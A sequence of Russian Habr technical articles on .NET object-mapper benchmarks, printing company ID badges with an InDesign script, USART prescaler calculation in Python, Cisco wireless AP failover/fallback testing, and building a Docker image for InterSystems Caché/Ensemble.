| Manual | 101.6 ns | 2.12 ns | 5.43 ns | 99.89 ns |
| AutoMapper | 190.0 ns | 1.76 ns | 1.56 ns | 190.17 ns |
| Mapster | 135.4 ns | 2.63 ns | 6.54 ns | 132.66 ns |
| ManualCollection100 | 3,435.8 ns | 62.04 ns | 100.19 ns | 3,424.57 ns |
| AutoMapperCollection100 | 4,725.9 ns | 81.95 ns | 72.64 ns | 4,702.34 ns |
| MapsterCollection100 | 3,452.8 ns | 57.91 ns | 91.85 ns | 3,448.84 ns |
| ManualCollection1000 | 38,786.8 ns | 752.18 ns | 772.43 ns | 38,648.30 ns |
| AutoMapperCollection1000 | 55,647.5 ns | 514.10 ns | 429.30 ns | 55,668.73 ns |
| MapsterCollection1000 | 38,467.2 ns | 425.09 ns | 397.63 ns | 38,333.86 ns |
| ManualCollection10000 | 590,107.0 ns | 11,356.83 ns | 13,947.21 ns | 585,938.77 ns |
| AutoMapperCollection10000 | 2,158,687.2 ns | 35,665.54 ns | 36,625.88 ns | 2,169,171.48 ns |
| MapsterCollection10000 | 647,230.3 ns | 6,786.75 ns | 5,667.24 ns | 646,317.58 ns |
Вместо выводов:
---------------
Я рассмотрел лишь самые популярные варианты. Были еще интересные кандидаты, но я не стал их рассматривать по причине или редких релизов или очень давней последней версии, но это не повод вовсе не упомянуть их ([ExpressMapper](https://www.nuget.org/packages/Expressmapper) и [его форк](https://www.nuget.org/packages/ExpressMapper.Core) для net standard, а также [TinyMapper](https://www.nuget.org/packages/TinyMapper.)).
Также есть интересное решение, позволяющее генерировать маппинг через расширение среды разработки [Visual Studio](https://marketplace.visualstudio.com/items?itemName=54748ff9-45fc-43c2-8ec5-cf7912bc3b84.mappinggenerator) - [Mapping Generator](https://mappinggenerator.net/#features), но за некоторые возможности придется заплатить.
Все выводы я рекомендую делать вам самим, потому что, как бы нам не хотелось, «серебряной пули» не существует, нужно выбирать решение, которое подходит **вам,** исходя из **ваших задач**, **размера проекта**, **команды разработки** и принятых **практик**.
И все-таки, автоматический маппинг — полезная и удобная вещь, которая в больших проектах позволяет снизить количество boilerplate-кода и снизить архитектуру в чистоте.
[Ссылка на исходные тексты примеров и тестов](https://github.com/skutylev/Net.Mappers) | https://habr.com/ru/post/693722/ | null | ru | null |
# Как напечатать бейджи для компании и не умереть
Людям сложнее начать общаться, когда они не знают, как друг к другу обратиться. Незнакомца не спросишь, сколько в его продукте страниц осталось перевести на webpack и кто у него скрам-мастер. За последние пару лет у нас стало слишком много людей, чтобы все могли познакомиться, пересекаясь время от времени на кухне.
Задача создать бейджи — про коммуникацию. Когда видишь, как зовут собеседника, легче начать разговор. А ещё про безопасность — бейджи помогают отличать сотрудников от гостей. Расскажу, как мы справились с этой задачей и что вам непременно нужно знать, если когда-то решитесь повторить наш опыт.
Мы хотели, чтобы наши сотрудники носили бейджи с удовольствием, а не потому что «надо». Поэтому мы очень старались сделать их красивыми и удобными. И, кажется, у нас получилось.
В этом проекте я вместе с рабочей группой занималась дизайном, печатью и внедрением бейджей в компании.
Если у вас небольшая компания, некоторые рекомендации могут быть избыточными — смело пропускайте их.
Как можно печатать
------------------
Бейджи можно сделать бумажными и вставить их в прозрачные кармашки, но это выглядит ужасно, и дополнительно нужен пропуск в офис.
Мы решили делать бейджи на пластиковых картах с чипом, чтобы они одновременно были пропуском.
Бейджи-пропуска можно заказать в типографии или самостоятельно напечатать на принтере для пластиковых карт.
Самим печатать быстрее, проще подбирать цвета и контролировать качество. Чтобы решить, какой вариант вам больше подходит, ответьте на несколько вопросов:
* Будете использовать принтер в офисе для других задач? Готовы купить дорогой принтер, если первая партия бейджей в типографии обойдется дешевле?
* Сколько у вас в компании сотрудников и как часто выходят новые? Бейджи нужны новым сотрудникам и старым, когда они меняют команду, фамилию или теряют старый бейдж. Заказать сразу много бейджей удобно, а регулярно поштучно печатать их и привозить из типографии — нет.
* Как быстро нужно печатать новые бейджи? Если бейдж — пропуск, как новые сотрудники будут заходить в офис, если вы в первый день не дадите им бейдж?
Мы ответили. И решили купить принтер.
Подготовка к печати
-------------------
Назначьте менеджера проекта, который будет курировать весь процесс. Решите, кто выберет и купит принтер, картриджи, карты и крепления, а в дальнейшем будет заказывать расходники. А ещё — кто будет заниматься печатью бейджей и в какой момент их будут печатать для новичков.
### Что должно быть на бейдже?
Поймите, какую задачу должны решить бейджи. Помочь сотрудникам знакомиться? Улучшить безопасность в офисе? Ответ на этот вопрос определит, что на них должно быть. Если вы не можете сформулировать цель, нужны ли вам вообще бейджи?
Если решите писать должность, подумайте, всем ли будет комфортно выходить с бейджем в лифт или столовую бизнес-центра. К словам финдиректора посторонние могут излишне прислушиваться, а на помощника младшего специалиста смотреть с пренебрежением. Оно вам надо?
Подумайте, как ещё можно сделать бейдж удобнее и полезнее сотрудникам, чтобы его хотелось носить. Мы нанесли номер карты лояльности столовой бизнес-центра, чтобы можно было не носить её с собой.
### Выберите и купите принтер
Тут всё просто. При выборе принтера ориентируйтесь на цену самого принтера, цену и доступность расходников. Если планируете двухсторонний бейдж, выбирайте модель с функцией двусторонней печати.
### Выберите и купите карты
Если хотите совместить бейдж с пропуском в офис, уточните у администрации помещения офиса, какой тип карточек у вас используется. До того, как печать всю партию, закажите пробный образец, зарядите его в своём бизнес-центре на все возможные двери (вход в офис, парковка, калитки на территории офиса) и попробуйте их открыть. У нас оказалось, что не на всех дверях стояли одинаковые считыватели — это повлияло на выбор карты.
Есть разные типы карт: с магнитной полосой, с чипом, бесконтактные смарт-карты. Если не собираетесь делать бейдж пропуском, заказывайте обычные карты, которые нельзя кодировать — они дешевле и без выпуклостей, из-за чего краска ложится лучше. Если собираетесь делать бейджи для гостей компании, без возможности использовать их как пропуск, для них тоже можно заказать обычные карты.
Карты бывают матовые и глянцевые. Возьмите тестовые образцы, напечатайте на них и выберите те, что больше нравятся.
### Выберите и купите крепления
Мы взяли ленты на шею с регулируемой длиной и ретракторы.
Чтобы цеплять карточки к креплениям, в бейджике нужна дырка (делается с помощью специального дырокола). Магнитные карточки нужно дырявить аккуратно. Чтобы найти чип на карточке, просветите её, вплотную поднеся фонарик.
Бейджи можно класть в прозрачные пластиковые кармашки или просто носить на креплении. По нашему опыту, наличие кармашка почти не влияет на сохранность, но иногда в нем может собираться пыль. Если носить бейдж с ключами или использовать в домашнем хозяйстве, он немного царапается, а если просто носить (и хоть немножко беречь), надписи не стираются.
### Продумайте процесс раздачи бейджей
Сотрудникам должно быть понятно, где и когда они получат бейджи, обязательно ли их носить. Чтобы у всех оказались бейджи, не ждите, что люди за ними придут — раздайте сами.
### Заложите достаточно времени на весь процесс
Заложите время на выбор принтера и карт, доставку образцов карт и креплений, подготовку макетов. После печати первых бейджей может понадобиться «подкрутить» цвета на макете. Имейте в виду, что небольшие офисные принтеры по пластику уступают промышленным в скорости и качестве. Нам довольно часто приходилось делать несколько отпечатков, чтобы получить качественный бейдж (особенно до того, как мы поняли некоторые тонкости, о которых я расскажу в конце).
Прежде чем распечатать бейджи на всю компанию, сделайте прототип на бумаге для небольшого количества человек и походите с ним по офису. Поймёте, хорошо видно надписи или нет, получите обратную связь до печати полного тиража.
### Сделайте шаблоны бейджей
У нас есть несколько вариантов дизайна: один общий и несколько для продуктовых команд. Так за несколько метров видно, из какой команды человек. Сотрудники из других команд и отделов пока не выделяются, но мы планируем сделать отличающие стикеры.
Мы сделали двусторонние бейджи, чтобы не было «правильной» стороны — так бейдж можно надевать не глядя, и он никогда не будет перевёрнутым.
### Сгенерируйте бейджи для каждого сотрудника
Самое страшное (если у вас много сотрудников) — начать заносить данные вручную. Не надо так. Мы написали сценарий для Индизайна, который запускается в файле с шаблоном бейджа. Сценарий копирует внутри файла шаблон для каждого сотрудника и вставляет данные. В итоге получается файл .indd с макетами для всех сотрудников, которые были в списке.
Держите, пользуйтесь и не благодарите (или благодарите, ayw)
```
main();
function main(){
var myDocument = app.activeDocument;
var file = File.openDialog();
file.open("r");
var line = file.readln();
var currentPage = myDocument.pages.item(0);
while (line) {
var parts = line.split(",");
var surname = parts[0], name = parts[1];
currentPage.textFrames.item("name").contents = name;
currentPage.textFrames.item("surname").contents = surname;
line = file.readln();
if (line) {
currentPage = app.activeWindow.activePage.duplicate (LocationOptions.AFTER, app.activeWindow.activePage);
}
}
}
```
Чтобы запустить сценарий, скопируйте код в файл, сохраните в формате .js и загрузите его в нужную папку, как описано на [официальном сайте Adobe](https://helpx.adobe.com/ru/indesign/using/scripting.html)). После загрузки он появится в панели сценариев.
После запуска сценария нужно выбрать файл CSV со списком сотрудников. Данные для этого списка мы попросили у отдела кадров, чтобы не писать имена вручную.
Когда шаблоны сгенерированы и экспортированы, можно печатать. Сделайте тестовые пропуска на вашем принтере и ваших карточках, чтобы «подкрутить» цвета.
Как настроить принтер
---------------------
Мы купили принтер Magicard Enduro3E duo. Duo в названии означает, что принтер может печатать на карточке с двух сторон. Переворачивать руками было бы долго и неудобно.
У принтера есть диалоговое окно печати с настройкой. Выберите ваш формат карточки и, если нужно, двустороннюю печать.
Для лицевой и задней стороны настройки задаются отдельно, но параметры настроек одинаковые.
— Colour format — цветовой формат.
— Black resin options — настройка печати чёрного цвета: чёрными чернилами или смешением пурпурного, голубого и жёлтого. Мы используем чёрные чернила.
— Overcoat — защитный слой на поверхности бейджа. Печатается поверх цветного слоя. Мы всегда печатали, а потом на нескольких бейджах забыли напечатать. На них «поплыла» краска, поэтому не забывайте.
— HoloKote — водяной знак, видимый на свете. В этой модели принтера 4 стандартных дизайна водяного знака, у более продвинутых моделей можно установить свой дизайн.
— HoloPatch — карты с золотым светоотражающим квадратом в углу. Квадрат делает карту с водяным знаком трудно копируемой и позволяет издалека определить подлинность карты.
— Rotation — поворот макета при печати. Для одностороннего бейджа этот параметр не важен. На двустороннем бейдже у лицевой и задней сторон карточки параметр должен отличаться на 180 градусов, чтобы информация не оказалась вверх ногами на одной стороне.
— Overcoat holes — настройка области карты, на которую не нужно наносить защитный слой, например, чип или магнитная полоса.
Как не наступить на грабли и печатать качественно
-------------------------------------------------
Печатайте только на новых карточках — на старых есть микроцарапины, на которые плохо ложится краска. Не оставляйте на карточках до печати отпечатки пальцев, потому что они заливаются защитным слоем и остаются навсегда.
Если у вас карточки с чипами, расположите карточку так, чтобы на чип не накладывалась краска — на выпуклостях плохо пропечатывается. Всё это лучше всего учесть ещё на этапе дизайна, не добавляя текст на такие области.
*В правом верхнем углу карточки находится чип*
Иногда попадаются карточки с «заусенцем» на ребре, который чувствуется наощупь. Рядом с ним плохо ложится краска. Если по ребру карточки провести лезвием ножниц несколько раз, оно станет ровным. Мы так и не поняли точную причину их появления, но кажется, что это особенности производства, и тут ничего не поделаешь. От партии к партии свойства карточек нашего поставщика менялись — отпечатки всегда были хорошими, но краска ложилась по-разному. Если будете менять поставщика, не забудьте взять тестовую карту и везде проверить.
*На левом ребре карточки был заусенец*
Иногда приходится из-за дефектов перепечатывать несколько раз бейдж: может быть нужно подвинуть печатающую ленту, на карточках могут быть дефекты печати из-за чипа или следы из-за того, что принтер много печатал и перегрелся. Поэтому, если вы хотите печатать десятки бейджей подряд, это будет долго. Лучше не печатать сразу много и давать принтеру передохнуть.
*В нижней части карточки поплыл серо-синий цвет*
*Во время печати лента съехала вправо*
Можно пытаться двигать ленту для печати, чтобы избежать непропечатанных полос сбоку.
Теперь вы знаете, что делать. Делайте бейджи, а если что-то остаётся неясным — пишите, с удовольствием подскажу. | https://habr.com/ru/post/359164/ | null | ru | null |
# Расчёт параметров предделителя для 8250-совместимых USART
Сегодняшним вечером я расскажу ~~сказку~~ о том, как можно эффективно вычислить параметры предделителя, который обычно используется для задания тактовой частоты USART портов, в частности 8250-совместимых, применяемых в Intel SoC.
На текущий момент существует как минимум две линейки Intel SoC, в которых применяется USART с дробным предделителем
1. Medfield, CloverTrail, Tangier
2. BayTrail, Braswell
В чём между ними разница я расскажу чуть позже.
Ниже представлены формулы, по которым вычисляется *Fusart* — тактовая частота USART, и *baud* — скорость передачи.
Остальные
*Fref* — частота до предделителя, *m* — числитель, *n* — знаменатель рациональной дроби предделителя, *prescaler* — целое число, на которое делится *Fusart*, *DLAB* — 16-разрядный делитель, представленный в 8250-совместимых чипах.
Из всего набора нам известны только две величины, а именно: *Fref* и *baud*. Величина *prescaler* как правило равна 16 и в некоторых чипах отсутствует возможность её изменять (именно этим отличаются [линейки Intel SoC](#SoCbranches) друг от друга)
### Расчёт величины *prescaler*
Поскольку мы работаем с дробным предделителем, а не с полноценной PLL, то из [(1)](#f12) следует
И следовательно мы можем уже вычислить значение *prescaler*
```
prescaler = 16
fusart = baud * prescaler
if fref < fusart:
if fref >= baud:
prescaler = fref / baud
else:
prescaler = 1
fusart = baud * prescaler
```
### Вычисление *Fusart*
Предыдущая часть работает только в том случае, если не выполняется [(3)](#f3). В противном же случае *Fusart* может оказаться сильно низкой относительно *Fref* при запрашиваемой довольно низкой скорости передачи, например 110 бод.
А поскольку числитель и знаменатель делителя как правило равной ширины (в битах), то неплохо бы ограничить их расхождение. Для этого приблизим *Fusart* к *Fref* насколько возможно.
```
fusart <<= int(math.log(fref / fusart, 2))
```
Почему выбрано именно такое приближение? Дело вот в чём, если у нас возникнет переполнение *DLAB*, а он всего 16-разрядный, то в случае использования степени двойки мы простейшими битовыми операциями можем это отследить.
### Очередь за знаменателем
Очевидно, что теперь из [(1,2)](#f12), следует простая пропорция
Таким образом мы легко вычисляем числитель и знаменатель рациональной дроби предделителя.
```
divisor = gcd(fref, fusart)
n = fref / divisor
while n > (2 ** width - 1):
divisor <<= 1
n >>= 1
m = fusart / divisor
```
Здесь *width* — ширина в битах числителя и знаменателя.
Вот собственно и всё. Для желающих исходник на Python можно найти [на GitHub Gist](https://gist.github.com/8b2a73aeca2874f4cc89) (он уже несколько раз обновился и в будущем может обновится ещё).
**Пример рассчёта для Fref=50MHz, width=24 bits**Вывод в формате 1) *m*, 2) *n*, 3) *prescaler*, 4) *Fusart*, 5) загадочное число, 6) список скоростей передачи, в скобках значение *DLAB*.
24 25 12 48000000 64000000 4000000(1)
49 50 14 49000000 56000000 3500000(1)
4 5 16 40000000 40000000 2500000(1)
16 25 16 32000000 32000000 500000(4),1000000(2),2000000(1)
24 25 16 48000000 48000000 1500000(2),3000000(1)
2304 3125 16 36864000 36864000 576000(4),1152000(2)
8192 15625 16 26214400 26214400 50(32768),200(8192)
9216 15625 16 29491200 29491200 1800(1024),57600(32),115200(16),230400(8),460800(4),921600(2),1843200(1)
12288 15625 16 39321600 39321600 75(32768),150(16384),300(8192),600(4096),1200(2048),2400(1024),4800(512),9600(256),19200(128),38400(64)
45056 78125 16 28835840 28835840 110(16384)
274432 390625 16 35127296 35127296 134(16384)
Прошу заметить, что приведенный алгоритм прост и быстр, хотя не настолько точен, но нашей цели удовлетворяет. | https://habr.com/ru/post/252833/ | null | ru | null |
# AP Failover и AP Fallback в реализации Cisco Unified Wireless
Когда точка доступа уже подключилась к контроллеру (AP Join), есть два механизма, которые влияют на выбор контроллера:
* Если точка доступа теряет связь с существующим контроллером, то запускается механизм AP Failover.
* Если точке доступа, не теряя связь с контроллером, требуется перейти на другой контроллер, для этого существует механизм AP Fallback
AP Failover
-----------
AP Failover использует следующую информацию в порядке приоритета (cначала наибольший приоритет).
1. Per AP Primary, Secondary и Tertiary controller
2. Global Backup Primary/Secondary WLC
* Эти параметры начинают работать только когда активирован FastHeartbeat Timeout.
* Данная информация не сразу активируется на точке, а через какое то время. Она должна появиться в так называемом Backup WLС arrey.
3. WLC Mobility Group Membership
### WLC Mobility Group Membership
Проведем тестирование, начиная с наименьшего приоритета, постепенно увеличивая его.
В нашем распоряжении есть точка доступа, подключенная к контроллеру vwlc2 (10.0.194.4), на котором настроен только Mobility Group member vwlc (10.0.193.4).
```
LAP1#sh capwap cli con
mwarName
mwarIPAddress 0.0.0.0
mwarName
mwarIPAddress 0.0.0.0
mwarName
mwarIPAddress 0.0.0.0
Configured Switch 1 Addr 10.0.193.4
Configured Switch 2 Addr 10.0.194.4
```
Далее выключаем все интерфейсы на vwlc2.
```
config port adminmode all disable
```
И смотрим за реакцией точки доступа.
```
*Mar 20 09:29:18.207: %DTLS-5-SEND_ALERT: Send FATAL : Close notify Alert to 10.0.194.4:5246
*Mar 20 09:29:54.000: %CAPWAP-5-DTLSREQSEND: DTLS connection request sent peer_ip: 10.0.193.4 peer_port: 5246
*Mar 20 09:29:54.520: %CAPWAP-5-DTLSREQSUCC: DTLS connection created sucessfully peer_ip: 10.0.193.4 peer_port: 5246
*Mar 20 09:29:54.521: %CAPWAP-5-SENDJOIN: sending Join Request to 10.0.193.4
```
Без фазы Discovery точка доступа подключилась к 10.0.193.4, то есть к имеющемуся в памяти Mobility Group member.
### Global Backup Primary/Secondary WLC
Теперь протестируем следующий по приоритету механизм — Backup Primary/Secondary WLC. Пропишем на контроллере vwlc2 адрес Backup Primary 10.0.191.4 (wlc2504), его нет в mobility group members.
```
config advanced backup-controller primary wlc2504 10.0.191.4
```
Посмотреть, как "спустились" данные настройки на точку, можно с помощью команды
```
LAP1#sh capwap cli ha
fastHeartbeatTmr disabled
primaryDiscoverTmr(sec) 120
primaryBackupWlcIp 10.0.191.4
primaryBackupWlcName wlc2504
secondaryBackupWlcIp 0.0.0.0
secondaryBackupWlcName
DHCP renew try count 0
Fwd traffic stats get 0
Fast Heartbeat sent 0
Discovery attempt 0
Backup WLC array:
```
Теперь выключаем все интерфейсы на подключенном контроллере. Подключение произошло на контроллер в той же самой mobility group (10.0.193.4). Это произошло, так как не были настроены FastHeartbeat Timeout. Настроим их.
```
config advanced timers ap-fast-heartbeat local enable 10
```
Проверим, что данная настройка "спустилась" на точку
```
LAP1#sh capwap cli ha
fastHeartbeatTmr(sec) 10 (enabled)
primaryDiscoverTmr(sec) 120
primaryBackupWlcIp 10.0.191.4
primaryBackupWlcName wlc2504
secondaryBackupWlcIp 0.0.0.0
secondaryBackupWlcName
DHCP renew try count 0
Fwd traffic stats get 12
Fast Heartbeat sent 12
Discovery attempt 0
Backup WLC array:
Index [3] System name wlc2504
Index [3] IP 10.0.191.4
Index [3] Aging Count 0
```
Видны значительные изменения: счетчик "Fast Heartbeat sent" и "Fwd traffic stats get" увеличивается, в Backup WLC arrey появился контроллер wlc2504 (он появляется не сразу, а через какое-то время, только после этого механизм начинает работать!)
Теперь выключаем все интерфейсы на подключенном контроллере.
```
*Mar 20 09:29:18.207: %DTLS-5-SEND_ALERT: Send FATAL : Close notify Alert to 10.0.194.4:5246
*Mar 20 09:29:54.000: %CAPWAP-5-DTLSREQSEND: DTLS connection request sent peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.520: %CAPWAP-5-DTLSREQSUCC: DTLS connection created sucessfully peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.521: %CAPWAP-5-SENDJOIN: sending Join Request to 10.0.191.4
```
Теперь все работает, точка доступа подключилась к Backup Primary.
### Per AP Primary, Secondary и Tertiary controller
Настроим Primary контроллер снова на vwlc — 10.0.193.4 и убедимся, что Backup Primary так же настроен.
```
LAP1#sh capwap cli con
mwarName wvlc
mwarIPAddress 10.0.193.4
LAP1#sh capwa cli ha
fastHeartbeatTmr(sec) 10 (enabled)
primaryDiscoverTmr(sec) 120
primaryBackupWlcIp 10.0.191.4
primaryBackupWlcName wlc2504
secondaryBackupWlcIp 0.0.0.0
secondaryBackupWlcName
DHCP renew try count 0
Fwd traffic stats get 32
Fast Heartbeat sent 32
Discovery attempt 0
Backup WLC array:
Index [3] System name wlc2504
Index [3] IP 10.0.191.4
Index [3] Aging Count 0
```
Теперь выключим контроллер.
```
*Mar 20 09:29:18.207: %DTLS-5-SEND_ALERT: Send FATAL : Close notify Alert to 10.0.194.4:5246
*Mar 20 09:29:54.000: %CAPWAP-5-DTLSREQSEND: DTLS connection request sent peer_ip: 10.0.193.4 peer_port: 5246
*Mar 20 09:29:54.520: %CAPWAP-5-DTLSREQSUCC: DTLS connection created sucessfully peer_ip: 10.0.193.4 peer_port: 5246
*Mar 20 09:29:54.521: %CAPWAP-5-SENDJOIN: sending Join Request to 10.0.193.4
```
Как видно, точка доступа подключилась к Primary controller, проигнорировав настройку Backup Primary.
AP Fallback
-----------
Когда функция AP Fallback активирована ( закладка CONTROLLER->General), точка доступа может поменять контроллер даже в том случае, если связь с текущим контроллером не потеряна.
Это может произойти в следующих случаях.
* Если на точке настроен Per AP Primary, Secondary и Tertiary controller и точка доступа не находится на одном из этих трех контроллеров. С Secondary точка доступа не будет переходить на Primary.
* Если на контроллере настроен Global Backup Primary/Secondary WLC, на котором в свою очередь настроен режим Master Controller Mode.
Постараемся проверить оба варианта.
Точка доступа подключена к контроллеру vwlc2 (10.0.194.4), пропишем на контроллере Primary контроллер 2504(10.0.191.4) и посмотрим, что произойдет. Через какое-то время точка переключается самостоятельно на контроллер, при этом mobility members на обоих контроллерах не прописаны.
```
*Mar 20 09:29:18.207: %DTLS-5-SEND_ALERT: Send FATAL : Close notify Alert to 10.0.194.4:5246
*Mar 20 09:29:54.000: %CAPWAP-5-DTLSREQSEND: DTLS connection request sent peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.520: %CAPWAP-5-DTLSREQSUCC: DTLS connection created sucessfully peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.521: %CAPWAP-5-SENDJOIN: sending Join Request to 10.0.191.4
```
Во втором случае пропишем на wlc2504 Master Controller Mode (все остальные настройки, а именно Global Backup Primary WLC, остались с проверки AP Failover. Через какое-то время точка доступа подключается к 10.0.191.4!
```
*Mar 20 09:29:18.207: %DTLS-5-SEND_ALERT: Send FATAL : Close notify Alert to 10.0.194.4:5246
*Mar 20 09:29:54.000: %CAPWAP-5-DTLSREQSEND: DTLS connection request sent peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.520: %CAPWAP-5-DTLSREQSUCC: DTLS connection created sucessfully peer_ip: 10.0.191.4 peer_port: 5246
*Mar 20 09:29:54.521: %CAPWAP-5-SENDJOIN: sending Join Request to 10.0.191.4
``` | https://habr.com/ru/post/325354/ | null | ru | null |
# Контейнеризация Caché
В этой статье я хочу рассказать про то как можно получить свой образ [Docker](https://docs.docker.com/engine/getstarted/) с InterSystems Caché/Ensemble.
Начнем с самого начала, т.е. с Dockerfile. [Dockerfile](https://docs.docker.com/engine/reference/builder/) это простой текстовый файл в формате yml с инструкциями по сборке образа.
Я рекомендую использовать в качестве базового образа CentOS, так как InterSystems официально поддерживает RedHat в качестве основной платформы, и CentOS в качестве платформы для разработки.
```
FROM centos:6
```
Вы можете добавить себя в качестве автора файла.
```
MAINTAINER Dmitry Maslennikov
```
Первым шагом, нужно установить некоторые утилиты которые понадобятся как в процессе установки, так и для работы Caché. Здесь я еще настроил часовой пояс.
```
# update OS + dependencies & run Caché silent instal
RUN yum -y update \
&& yum -y install which tar hostname net-tools wget \
&& yum -y clean all \
&& ln -sf /etc/locatime /usr/share/zoneinfo/Europe/Moscow
```
Определим временную папку, для дистрибутива.
```
ENV TMP_INSTALL_DIR=/tmp/distrib
```
Определим некоторые аргументы со значениями по умолчанию, которые потом можно будет изменять при сборке.
```
ARG password="Qwerty@12"
ARG cache=ensemble-2016.2.1.803.0
```
Теперь нужно определить параметры для автоматической установки.
```
ENV ISC_PACKAGE_INSTANCENAME="ENSEMBLE" \
ISC_PACKAGE_INSTALLDIR="/opt/ensemble/" \
ISC_PACKAGE_UNICODE="Y" \
ISC_PACKAGE_CLIENT_COMPONENTS="" \
ISC_PACKAGE_INITIAL_SECURITY="Normal" \
ISC_PACKAGE_USER_PASSWORD=${password}
```
Я решил установить безопасность Caché на уровень Normal, и поэтому нужно установить пароль.
В [документации](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCI_unix#GCI_unix_install_unattended) можно найти больше вариантов настроек.
В качестве рабочей директории пока установим временную папку для дистрибутива, данной директивой папка будет создана если ранее не существовала.
```
WORKDIR ${TMP_INSTALL_DIR}
```
Вы можете сразу добавить файл лицензии, если не собираетесь выкладывать образ в публичные репозитории.
```
COPY cache.key $ISC_PACKAGE_INSTALLDIR/mgr/
```
Теперь нам нужен дистрибутив для сборки, и есть несколько способов получить его:
* Загрузить дистрибутив вручную, и положить его рядом с файлом Dockerfile, добавить его такой командой, которая сразу и распакует его по указанному пути.
```
ADD $cache-lnxrhx64.tar.gz .
```
* Загрузить напрямую с WRC.
```
RUN wget -qO /dev/null --keep-session-cookies --save-cookies /dev/stdout --post-data="UserName=$WRC_USERNAME&Password=$WRC_PASSWORD" 'https://login.intersystems.com/login/SSO.UI.Login.cls?referrer=https%253A//wrc.intersystems.com/wrc/login.csp' \
| wget -O - --load-cookies /dev/stdin "https://wrc.intersystems.com/wrc/WRC.StreamServer.cls?FILE=/wrc/distrib/$cache-lnxrhx64.tar.gz" \
| tar xvfzC - .
```
В таком случае нужно указать логин и пароль от WRC, чтобы получить доступ к дистрибутиву, и нужно добавить к списку аргументов еще два.
```
ARG WRC_USERNAME=”username”
ARG WRC_PASSWORD=”password”
```
Нужно помнить, что любое упомниание паролей в Dockerfile небезопасно, потому что их потом можно вытащить. Так что это не самый безопасный способ.
* И предпочтительный способ, это хранить дистрибутивы на внутреннем сервере компании, и загружать его оттуда с анонимным доступом.
```
RUN wget -O - "ftp://ftp.company.com/cache/$cache-lnxrhx64.tar.gz" \
| tar xvfzC - .
```
Все готово к установке, можно запускать.
```
RUN ./$cache-lnxrhx64/cinstall_silent
```
После завершения установки, нужно остановить сервер.
```
RUN ccontrol stop $ISC_PACKAGE_INSTANCENAME quietly
```
Но это не все, в Docker для работы контейнера нужен один процесс контролирущий процесс. И для этого нам понадобится проект ccontainermain от [Luca Ravazzolo](https://community.intersystems.com/user/luca-ravazzolo). Загрузим бинарник напряму с [гитхаба](https://github.com/zrml/ccontainermain).
```
# Caché container main process PID 1 (https://github.com/zrml/ccontainermain)
RUN curl -L https://github.com/zrml/ccontainermain/raw/master/distrib/linux/ccontainermain -o /ccontainermain \
&& chmod +x /ccontainermain
```
Чистим временную папку.
```
RUN rm -rf $TMP_INSTALL_DIR
```
**Замечание если используется драйвер overlay**Если Docker настроен на работу с драйвером overlay, могут быть проблемы, и нужно добавить такие строки чтобы добавить обертку над ccontrol, иначе при старте Caché он будет сразу выпадать с ошибкой .
```
# Workaround for an overlayfs bug which prevents Cache from starting with errors
COPY ccontrol-wrapper.sh /usr/bin/
RUN cd /usr/bin \
&& rm ccontrol \
&& mv ccontrol-wrapper.sh ccontrol \
&& chmod 555 ccontrol
```
Код обертки ccontrol-wrapper.sh.
```
#!/bin/bash
# Work around a weird overlayfs bug where files don't open properly if they haven't been
# touched first - see the yum-ovl plugin for a similar workaround
if [ "${1,,}" == "start" ]; then
find $ISC_PACKAGE_INSTALLDIR -name CACHE.DAT -exec touch {} \;
fi
/usr/local/etc/cachesys/ccontrol $@
```
Проверить какой драйвер используется в Docker можно такой командой.
```
docker info --format '{{.Driver}}'
```
[Workaround для Caché](https://github.com/zrml/ccontainermain/commit/d0bd70fda2647dfdc9312bf7beefb9df3d1507da)
[Немного деталей о баге с OverlayFS](https://bugzilla.redhat.com/show_bug.cgi?id=1213602)
Нужно сообщить Docker какие сетевые порты используются в контейнере, это 57772 для Web доступа и 1972 для бинарного доступа, стандартные порты по умолчанию в Caché.
```
EXPOSE 57772 1972
```
И наконец сообщим как запускать контейнер.
```
ENTRYPOINT ["/ccontainermain", "-cconsole", "-i", "ensemble"]
```
В итоге файл приобретает такой вид:
```
FROM centos:6
MAINTAINER Dmitry Maslennikov
# update OS + dependencies & run Caché silent instal
RUN yum -y update \
&& yum -y install which tar hostname net-tools wget \
&& yum -y clean all \
&& ln -sf /etc/locatime /usr/share/zoneinfo/Europe/Prague
ARG password="Qwerty@12"
ARG cache=ensemble-2016.2.1.803.0
ENV TMP\_INSTALL\_DIR=/tmp/distrib
# vars for Caché silent install
ENV ISC\_PACKAGE\_INSTANCENAME="ENSEMBLE" \
ISC\_PACKAGE\_INSTALLDIR="/opt/ensemble/" \
ISC\_PACKAGE\_UNICODE="Y" \
ISC\_PACKAGE\_CLIENT\_COMPONENTS="" \
ISC\_PACKAGE\_INITIAL\_SECURITY="Normal" \
ISC\_PACKAGE\_USER\_PASSWORD=${password}
# set-up and install Caché from distrib\_tmp dir
WORKDIR ${TMP\_INSTALL\_DIR}
ADD $cache-lnxrhx64.tar.gz .
# cache distributive
RUN ./$cache-lnxrhx64/cinstall\_silent \
&& ccontrol stop $ISC\_PACKAGE\_INSTANCENAME quietly \
# Caché container main process PID 1 (https://github.com/zrml/ccontainermain)
&& curl -L https://github.com/daimor/ccontainermain/raw/master/distrib/linux/ccontainermain -o /ccontainermain \
&& chmod +x /ccontainermain \
&& rm -rf $TMP\_INSTALL\_DIR
WORKDIR ${ISC\_PACKAGE\_INSTALLDIR}
# TCP sockets that can be accessed if user wants to (see 'docker run -p' flag)
EXPOSE 57772 1972
ENTRYPOINT ["/ccontainermain", "-cconsole", "-i", "ensemble"]
```
Теперь мы готовы собрать образ. Нужно выполнить такую команду в папке где лежит Dockerfile.
`docker build -t ensemble-simple .`
В процессе сборки будет загружен исходный образ, и сам процесс установки Caché.
Поменять значения параметров для сборки можно так.
```
docker build --build-arg password=SuperSecretPassword -t ensemble-simple .
```
```
docker build --build-arg cache=ensemble-2016.2.1.803.1 -t ensemble-simple .
```
И можно запустить новый образ такой командой.
```
docker run -d -p 57779:57772 -p 1979:1972 ensemble-simple
```
Здесь 57779 и 1979, это порты по которым контейнер будет доступен с локальной машины.
Такой командой можно увидеть, все запущенные контейнеры.
```
docker ps
```
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
